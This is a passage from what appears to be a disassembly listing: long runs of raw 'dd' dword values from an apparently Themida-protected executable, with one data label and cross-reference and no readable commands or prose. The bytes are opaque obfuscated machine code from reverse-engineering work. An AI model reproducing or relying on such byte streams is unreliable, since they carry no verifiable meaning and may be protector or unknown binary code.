44810424h, 1D0424h, 55450000h, 7CD906C3h, 297ED11Dh dd 8BFCAC18h, 0F8B0FFAh, 0E9000000h, 0Ah, 0D56DCBB7h, 0BA7BCFFFh dd 0BD832453h, 6450025h, 85850F01h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0DAC3C355h, 0A58F6DFh, 66026AF9h, 2BD5C3BBh, 45319DBDh dd 0BF665006h, 4890BFDh, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0F233C30h, 87h, 9195FF00h dd 6A064525h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0CC70C357h, 0BD89534Bh, 6452EC1h dd 0E07E9h, 0E800h, 815D0000h, 49CA47EDh, 8A536006h, 0E8615BEAh dd 0Bh, 4792F7D7h, 0B656270Bh, 0E981C7AAh, 11h, 0FBCA611Dh dd 1F91A7C5h, 22499CF1h, 0C8E10984h, 858D5F58h, 6488F6Dh dd 0B95BD8Bh, 50900645h, 0FB8B6652h, 0D3B7310Fh, 0E850585Ah dd 5, 564F2202h, 29905F4Eh, 4524898Dh, 35FF6406h, 0 dd 3880Fh, 8B660000h, 0A59D8BDEh, 64064523h, 2589h, 86BF0000h dd 0FF652A5Ah, 4532B985h, 8E806h, 36850000h, 0EF2097C8h dd 9D8B6FA6h, 64510B5h, 39DF815Bh, 6A39370Eh, 55006AFFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 16BB1478h, 812D81FBh, 8964BED3h, 85B5FF3Fh, 6606452Ch dd 7714CB81h, 2CE995FFh, 12E90645h, 0F000001h, 0B0F8BFh dd 2F19D31h, 70E60645h, 20119531h, 71E40645h, 16850Fh dd 0AE80000h, 0E1000000h, 966C438Ch, 0BD939A44h, 0DBD8BECh dd 5F064509h, 830F613Ch, 0D9h, 48E0Fh, 0BB660000h, 0B60F6389h dd 47D381C8h, 0BA4AC42Dh, 6, 9B56C781h, 0C18B4F5Ch, 0E8C1F98Bh dd 0B5316004h, 6450CF1h, 7288BA66h, 0E2F76661h, 0EE9h dd 7CE20300h, 625C8DDCh, 94344EC0h, 2B706551h, 6820FC8h dd 89000000h, 45212D8Dh, 8BD18B06h, 450981BDh, 77E906h dd 0FA8B0000h, 1858Bh, 880F0000h, 0 dd 0F507C083h, 8B00C083h, 452405BDh, 0FD03B06h, 1283h dd 2D9D0100h, 0E906450Bh, 49h, 18C0Fh, 8BFC0000h, 0FFFFFF8Dh dd 0F18589FFh, 3064529h, 45125D9Dh, 1E18306h, 27840Fh dd 7FBF0000h, 832F2827h, 0FFFFFFA5h, 9501FEFFh, 64510F1h dd 19589h, 9D8B0000h, 6450C89h, 5F5B5157h, 0E9h, 0D9B58D00h dd 81064948h, 5721FCE7h, 0E9006A49h, 0Bh, 8AC94537h, 0A7CC8CBCh dd 0FF8C488Eh, 45312195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 248160D8h dd 1008B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 2DBD8B50h, 0BF064505h, 4CF5B682h dd 6AFCE183h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 18CEC351h, 0F781A81Bh, 1CD70668h dd 0FABF0FFCh, 91BFC02Bh, 0BA77A71Dh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6DC35343h dd 0B299D89h, 33AD0645h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0A63221C3h, 58525FB4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0EEC35545h, 60914E07h, 0F9675CC0h, 880Dh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 9B221680h, 98E17958h, 8B0F0C26h, 0 dd 2A01958Bh, 6A0645h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 7187E9C3h, 72F6E92Ah, 0D58D8BBCh dd 6A064503h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 2441C350h, 0C6A106BBh, 50FB8B66h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 4FFCA228h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 5AC35141h, 0B965C01Fh, 1BEB8166h, 15BD833Ah, 64502h dd 81840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8919DBC3h, 45226995h, 0FD8D8906h dd 0B8064502h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 61C35040h dd 4E1C8D8Dh, 85310645h, 645096Dh, 13099D8Bh, 0E1FF0645h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 98C35747h dd 0BB918B52h, 839E6B7Dh, 45095DBDh, 840F0006h, 39Dh, 1F858D01h dd 0BD830645h, 645095Dh, 0A5840F01h, 0BF000003h, 42EE892Dh dd 95DBD83h, 0F030645h, 35D86h, 66DE8B00h, 8960FA8Bh, 45205DB5h dd 0D98C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 7BC35343h, 152A55C1h, 6A04E180h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 6F7C350h dd 0CD8588A5h, 0D6586284h, 0FB43C381h, 0C90A0BE0h, 0E8840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 858B48C3h, 6450589h, 2B89BD8Bh, 85330645h dd 6450275h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 40C35747h, 50C6DB80h, 88D0Fh, 50510000h, 5A310F52h dd 4895F58h, 0F99D8924h, 6A064520h, 5DBD2300h, 0F5064512h dd 3369F168h, 1D890F53h, 0F000000h, 1784h, 12E900h, 0D9000000h dd 32F55A66h, 45A64512h, 0BF6198F2h, 8DC2E6C3h, 0E243481h dd 89532C6Ah, 4514BD85h, 0AD95FF06h, 6606452Eh, 897915BFh dd 48AD7785h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0B0DCD18Bh, 5C374A2h, 35858965h dd 0B064531h, 452C91BDh, 1E0E906h, 858B0000h, 648AD6Fh dd 0BB99589h, 0C70645h, 18h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0B2C35141h, 0BD892EE9h, 6453361h dd 19B58B60h, 89064533h, 4531599Dh, 0B58B6106h, 648AD73h dd 0AE976B3h, 0A6000000h, 0DAD97C35h, 0BA6C47ADh, 0C1858BBEh dd 0F064503h, 682h, 0C5BD8B00h, 89064510h, 0FE806h, 6E630000h dd 1DCB07E1h, 3F2B13D6h, 0DF3CEC9Fh, 0DE838h, 2BA0000h dd 29F714E4h, 6E83EE37h, 6688D2C1h, 5FE199BBh, 89858B5Bh dd 0F8064505h, 0F044689h, 89h, 880F5000h, 8, 7DBF6660h dd 61D88BB7h, 6A243489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0B432C350h, 0B9C348CBh dd 0BD016F82h, 6452F45h, 0AD6FB5FFh, 6A0648h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 45FAD5C3h dd 0CEC1521Eh, 109BD89h, 14680645h, 515CD77Eh, 815B43B7h dd 7DEB2434h, 0DE8B5CC8h, 0AD77858Dh, 6A0648h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0E98300C3h, 10h, 4CA2581Eh, 94AE27D3h, 94B2E113h, 0F5DC8407h dd 50F88B90h, 0AE8h, 9D46F600h, 0DA8FE7F4h, 608D4503h dd 8E8h, 0A934A900h, 0B6D0A4F7h, 0DA8B5A7Ch, 6A905F61h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0E2DAC352h, 0E85237EDh, 0Bh, 0BD6084DBh dd 41575E6Bh, 5F5138C8h, 2EAD95FFh, 6A0645h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0E3E931C3h dd 0B81A7075h, 5261D445h, 0E89BF3BFh, 85C75F0Bh, 645095Dh dd 3, 77BD83FCh, 648ADh, 10840Fh, 0BF660000h, 22E9C810h dd 56000000h, 0CC95ABBBh, 30505B66h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0DD53A938h dd 9E898h, 0B0590000h, 53AC1D99h, 36FB4F6h, 4503BD9Dh dd 24B35B06h, 95DBD83h, 0F030645h, 50E85h, 77BD8300h, 648ADh dd 501840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 6BB01BC3h, 0A87B1583h, 0BFFC84B6h dd 79279195h, 0D881F860h, 2BB4AD0Bh, 77B5FF61h, 6A0648ADh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 531AC353h, 413C6E04h, 8166F047h, 0FFD3C3EBh dd 4510C995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0FB1280C7h, 8B52794Dh, 450191BDh dd 0B58B5F06h, 648AD6Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 9EC35747h, 831ABDC9h, 6C7E3FAh, 10001h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 92C35242h dd 52E8BB96h, 0B350567Ch, 816696CCh, 0FF5189C3h, 48AD77B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 15168D3Eh, 0EDB3DF8Bh, 95195FFh, 6A0645h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 688662C3h, 32899589h, 8B0F0645h, 6, 11D1BD8Bh, 0B58B0645h dd 648AD6Bh, 1D8D0Fh, 0E9600000h, 14h, 0FF2EA1DEh, 51BCC56Eh dd 7DE8803Dh, 1D68D90Ah, 0A1401DA5h, 8B61CA8Bh, 4514ED85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 79184C21h, 8915B721h, 0C486h, 0EB816600h dd 958B8729h, 6452A01h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 73C35747h, 9FD14C28h, 0BD8960F9h, 64502F9h dd 0B6D8D89h, 83610645h, 6A04C2h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 9A9E5FC3h, 1C799D8Bh dd 50890645h, 859D2320h, 8D064501h, 48C15685h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0E38166B0h, 8689B165h, 0B8h, 9919D8Bh, 6A0645h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 80C35242h, 1704291h dd 0D122648Ah, 9D94B4BBh, 77B5FF36h, 660648ADh, 5CB4DB81h dd 259195FFh, 9D8B0645h, 645082Dh, 0F525050h, 0CB8B6031h dd 61FB8B66h, 3489585Ah, 14E824h, 0F9260000h, 0E7F8ABE0h dd 0D9F8DDF3h, 0BD9F56AEh, 0C2D31900h, 0BD8B34F8h, 6452F29h dd 77B5FF5Bh, 6A0648ADh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 4660C353h, 565107D7h dd 0FE9h, 6D8D900h, 6FF40570h, 738149FDh, 4D5212E1h, 207D95FFh dd 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 973238C3h, 0DD06DF2Ah, 661140ADh, 0BD83F98Bh dd 6451955h, 90840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0F06AC350h dd 882F68ABh, 12E8A40Fh, 19000000h, 1F4FE1A6h, 0E60716AFh dd 0D837C39Eh, 0DA0CF444h, 9E822h, 0F25D0000h, 0F0035780h dd 5F9DE22Ah, 6656965Fh, 5B4C98BFh, 52505150h dd 310F5F53h, 965F585Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 86C35141h, 0FE981h, 0F9B30000h, 873FE3ABh dd 997C7577h, 7387CBC1h, 0FFB8B72Fh, 48AD77B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0D31268D8h, 2F2D95FFh, 6A0645h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 753A6BC3h, 0F197E41h dd 688h, 0A99D2900h, 0E8064506h, 0Fh, 6427F937h, 625378E9h dd 538C51DDh, 660F6A56h, 0FF5FD98Bh, 48AD77B5h, 4652BB06h dd 95FF25B0h, 6450735h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 81C35747h, 84607553h, 68F0F57h, 89000000h dd 4502358Dh, 6CBF6606h, 1DBD83D0h, 2064530h, 5A840Fh dd 7E90000h, 7D000000h, 5987417Ch, 858BAF11h, 6452F51h dd 0FE8h, 0F395B800h, 99DFE30Bh, 690D7A12h, 657289E5h dd 2A599589h, 0B75B0645h, 0C667h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 63C35040h, 0E990C781h, 66F56DB6h dd 9B6DEB81h, 30A985C7h, 645h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 1BA34EC3h dd 90F43875h, 35BD8BDFh, 0E9064519h, 0FFFFF2F3h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0C35040h, 0BF074D71h dd 4391771Dh, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0D20C6CC3h, 0BF94AA25h, 5840FDCh dd 0BF000000h, 7B950B0h, 0D99858Dh, 9D890645h, 645080Dh dd 1BDFBB50h, 4897C81h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FE8080Bh, 68Ch, 81858900h dd 89064509h, 45244995h, 0F006A06h, 381h, 0FEBF0F00h, 0C781006Ah dd 68AD4217h, 0DA43858Dh, 9D330649h, 6452185h, 3105C083h dd 45331585h, 0E9609006h, 8, 8B3AB9CBh, 0A9E54939h, 61C18B66h dd 0D6BF6650h, 6A90F0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0CB46FCC3h, 3ACA562h, 451DF1BDh dd 0B3006A06h, 1006A3Bh, 45119D8Dh, 4995FF06h, 6A064517h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 27B0C350h, 34F1A7E5h, 0FFCB5971h, 9D998D8Dh dd 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 60DBE2C3h, 9AF6C1AAh, 0FFD8BF0Fh, 8D0F60D1h dd 18h, 12E8h, 3F815D00h, 327D2095h, 0A0377BAAh, 7341B011h dd 5B77DF21h, 11E78166h, 0BD836163h, 6450025h, 0B7850F01h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8058C353h, 0BF0FADDFh, 6A026ADEh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 5FB1C352h, 0EAC6ECC9h, 0DE9722Eh, 44000000h dd 23522044h, 492DC609h, 834CF2D1h, 52506050h, 0FCF8B66h dd 5A616031h, 4896158h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 12450697h, 0F79F64Eh dd 95FFDBB7h, 6452591h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 37C35141h, 4076958Dh, 16E9AA40h, 0E800000Eh dd 0 dd 4DED815Dh, 6A0649DAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0F75BC350h, 57FC4A36h dd 23C1B75Fh, 4509E19Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 38ABA0D1h, 0C30946DAh dd 0F52ADB81h, 858D073Ch, 6488F6Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 41C35343h, 7E85090h, 0BD000000h dd 181885E5h, 0F57BE35h, 85h, 905B5B00h, 68A0Fh, 0BD8B0000h dd 645241Dh, 35FF64h, 0F000000h, 0C8Bh, 6840F00h, 89000000h dd 452A0D95h, 25896406h, 0 dd 8B66D781h, 85FF1AF2h, 64532B9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 79C35040h, 6AFF6A60h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 9671C356h, 78D93A77h, 2D63EF23h, 840F6060h, 0 dd 13E9h, 8D7E4D00h, 7D2FC3D6h, 2EADCB77h, 66D37DB3h, 0BA4332ACh dd 0CE961h, 6A940000h, 6548AD95h, 0F9F901B1h, 0FF611A41h dd 4528CDB5h, 9950106h, 0FF064526h, 452CE995h, 111E906h dd 0C3810000h, 148D81A2h, 816600B0h, 0E65BB6DFh, 0E8EEB770h dd 8, 0D1339884h, 0C974A0B4h, 0F19D0357h, 5B064517h, 6671E45Fh dd 6E7CEF81h, 0BE8h, 0B6BD0D00h, 58CEAF47h, 19B67732h dd 1809BD8Bh, 3C5B0645h, 0C4830F61h, 89000000h, 452645B5h dd 0C8B60F06h, 8DB58956h, 5F064507h, 6BAh, 0B3BB5100h dd 5B26A9F5h, 8166C18Bh, 0C14A4FD3h, 0BD8B04E8h, 64521F1h dd 23E2F766h, 45229D9Dh, 68DF8106h, 2B4EF9A8h, 0DA8B66C8h dd 0E9FCD18Bh, 7Bh, 1DD78166h, 5F89BF75h, 858B7C19h, 4 dd 0FDFBF0Fh, 0C083F8BFh, 0BD9D8907h, 83064509h, 0F38100C0h dd 6A881292h, 14799D33h, 0D03B0645h, 11830Fh, 0D7810000h dd 73182CF1h, 3AE9h, 0F1BD8B00h, 8B064514h, 0FFFFFF8Dh dd 4D9D89FFh, 83064504h, 840F01E1h, 1Fh, 32ADB589h, 0A5830645h dd 0FFFFFFFFh, 9589F9FEh, 4, 22E1B509h, 0E90645h, 8D000000h dd 4958E1B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 14E9A3E3h, 0AC000000h, 3A1FF4F5h dd 5E511F31h, 0FB3A89BDh, 66957DD5h, 6AE5C24Eh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8B4595F2h, 4532C59Dh, 2195FF06h, 0E8064531h, 0Dh, 0A4B75839h dd 83402F90h, 3AA5E898h, 119589EFh, 5F064517h, 0FC9B9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 2A1BE2B0h, 950265FBh, 0D8B70F15h, 0FCFCE183h dd 719DF1BBh, 8D9D2960h, 2B06452Fh, 899589C0h, 2B064506h dd 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 444926FFh, 0C233AD17h, 0D003E8D1h, 7504E983h dd 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 919802A6h, 8AEE450Ah, 0EE9D8h, 4B450000h dd 0B5A1C70Ah, 0C389F46Fh, 14FAFAC8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 30C35646h, 98A4BFECh, 4A430253h dd 0C2B2BF66h, 0C19D0952h, 5B064520h, 880Dh, 5D958900h dd 8B064532h, 452A0195h, 0E3816606h, 8D8B78E6h, 64503D5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 91C35747h dd 24D77DCFh, 0C28B5041h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 81A0C351h, 0CC2BBBF7h, 56006A3Eh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B7F0863Ah, 0A74CD64Ch, 0DEBB660Eh, 15BD8374h, 64502h dd 93840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 8589EAC3h, 6452085h, 48E0Fh, 0BF660000h dd 0B81E20h, 66000000h, 8D8DFE8Bh, 6454E1Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 4C35141h, 0CDBE742Fh dd 32E99D8Bh, 8D290645h, 64506BDh, 6AE1FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 645C8FC3h dd 90939FCCh, 8BBAB064h, 4532F5BDh, 5DBD8306h, 64509h dd 3E7840Fh, 89510000h, 45013D85h, 0BD835F06h, 645095Dh dd 0ED840F01h, 81000003h, 0AA1F26DBh, 5DBD8368h, 3064509h dd 3A4860Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 8E33DFC3h, 0B5BD8BBCh, 0F064528h dd 0F860FEBFh, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 792AC353h, 68C0ECA3h dd 9E970EAh, 0DE000000h, 17D9C3A8h, 579785EAh, 6A04E180h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 97C3C350h, 6CCB8075h, 0DE9h, 0B6773200h dd 0E521F919h, 0ED8A5031h, 0C90A330Fh, 0FC840Fh, 66F50000h dd 8B7715BBh, 45058985h, 15B58906h, 0B7064519h, 7585332Ah dd 80064502h, 0D78168DBh, 58EC643Dh, 10E850h, 96A30000h dd 0A0CAA421h, 0AB4E81AAh, 0A84A3ABEh, 0BF66F58Fh, 895F0145h dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0D0E77FC3h, 0A130B393h, 7F71BB66h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0D7814AC3h, 30FC5BDAh, 0D760FC68h, 0BB6656D6h, 815BE769h dd 0A3032404h, 13E92947h, 0D4000000h, 0ACD3C39Ah, 32FDEE29h dd 6136AC2Ah, 0F4259CADh, 95FF684Fh, 6452EADh, 2FC9BD33h dd 85890645h, 648AD77h, 0DDBD8960h, 0B406451Ch, 0CF816171h dd 1D4685A3h, 1BBE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 52D36973h, 858B9224h dd 648AD6Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0A8C35747h, 267497ECh, 1800C760h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 7CEBC353h, 0D00638B7h, 0EC2D7BB8h, 0AD73B58Bh, 858B0648h dd 64503C1h, 2800Fh, 6FB70000h, 9D890689h, 645194Dh, 589858Bh dd 9D890645h, 6451E11h, 56044689h, 5EC0BF66h, 6652505Bh dd 895FF98Bh, 81662434h, 0FFF19DE3h, 48AD6FB5h, 7DBF6606h dd 4E833h, 3FF0000h, 0C8BF001Fh, 50477F46h, 60EEBF66h dd 424448Bh, 10E8h, 1D11B700h, 33FBD894h, 3BE15A6Ah, 0D8BCD6FCh dd 11E913h, 62490000h, 5EDF72ABh, 0F2CF00E3h, 6719EC2Ah dd 5F04B96Dh, 5250008Bh, 2A32BB66h, 8B60310Fh, 616160CFh dd 4489585Ah, 8A0F0424h, 2, 0E9585B52h, 0Dh, 4F5B9EEEh dd 0CC70D769h, 3767534Bh, 77858D6Ch, 6A0648ADh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0A881C350h, 8473AE0Ch, 29484D38h, 4518499Dh, 6E99006h dd 0E7000000h, 0F9234222h, 0E86050BBh, 11h, 9EC8F72Dh dd 5899C50Dh, 44556317h, 47F39113h, 5F5E5082h, 9061F38Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 54C35040h dd 0C97265EBh, 29BFC079h, 452C5985h, 0AD95FF06h, 0F806452Eh dd 50006A61h dword_58C228 dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h ; DATA XREF: Themida_:00555287o dd 7BED3E55h, 95D85C7h, 30645h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 98859C3h dd 830F40CDh, 6, 0C999529h, 0BD830645h, 648AD77h, 0F840F00h dd 66000000h, 0E97FABBBh, 21h, 194D9D8Bh, 30500645h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0FEB6BBC0h dd 8166163Bh, 8BDDA8E7h, 0D78166FEh, 0BD838AB8h, 645095Dh dd 95850F03h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 526BC353h, 616EE34Ch dd 3A5ADD35h, 195D9D89h, 0BD830645h, 648AD77h, 5D840F00h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8B90C356h, 77B5FFF8h, 6A0648ADh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 6F6FC356h, 5BB664Eh, 0C995FF3Fh, 8B064510h dd 451329BDh, 6BB58B06h, 6A0648ADh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 7C7FC356h dd 0D906A34Bh, 0E9601D7Ch, 0Dh, 6CCBF8FFh, 7DC36CFEh, 95CE223h dd 0A1958B09h, 61064532h, 106C7h, 0BD8B0001h, 64506E9h dd 1218D89h, 0E9500645h, 13h, 5C2AC205h, 0ADC68931h, 1485E9BBh dd 1EEBF7F6h, 89B9D738h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 8967C5C3h, 725DB46Ch dd 6E8D1h, 48790000h, 0F2D5EEB1h, 0BF5FD98Bh, 2C22CD27h dd 0AD77B5FFh, 8D290648h, 645008Dh, 95195FFh, 0B5890645h dd 6450D81h, 0AD6BB58Bh, 6A0648h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 858BC3C3h, 64514EDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0C3C35747h dd 14FAFAC8h, 0F73B7BDh, 1C8Ah, 13E800h, 0E2F0000h, 5A170912h dd 3E48C00Ch, 371F276Ah, 0D82FB814h, 0D9B70F0Ch, 0C486895Bh dd 8B000000h, 452A0195h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0C2837451h, 0AE804h, 6C330000h dd 60E45EA6h, 0A0F657DDh, 12E960h, 9ECE0000h, 0BF75A0BBh dd 0C4D285B7h, 0B2F2A750h, 45BD8207h, 0EE9h, 5CB4AD00h dd 8170C29Bh, 72AD47D4h, 61264681h, 2050895Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 25C35040h, 0E91BF726h dd 0EF80BF25h, 5D8589F6h, 8D064530h, 48C15685h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 881B38D2h, 89C4DF80h, 0B886h, 0DFB70F00h, 3CBF006Ah dd 0FF7361EAh, 48AD77B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9E83009h, 0A7000000h dd 0CD27C866h, 8AFFAA1Eh, 30398501h, 0FF5B0645h, 45259195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 6659CFCDh, 3138F781h, 52505096h, 0F525060h dd 0E9585A31h, 9, 7E5AD9FCh, 0E620587Ch, 310F6191h, 5AFE8B66h dd 6A9658h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0E3E5ABC3h, 0F1E9A51h, 0B5FFDABFh, 648AD77h dd 174DBD89h, 95FF0645h, 645207Dh, 5840F57h, 0BF000000h dd 3308A399h, 55BD835Fh, 64519h, 43840Fh, 0EF810000h, 2C5ECBF5h dd 7E996h, 36580000h, 3D0438A5h, 0BE95015h, 0C7000000h dd 87AC51FDh, 5FFB749Ah, 6A965093h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 4903C350h dd 77B5FF5Fh, 660648ADh, 0FFED11BFh, 452F2D95h, 57006A06h dd 3E8h, 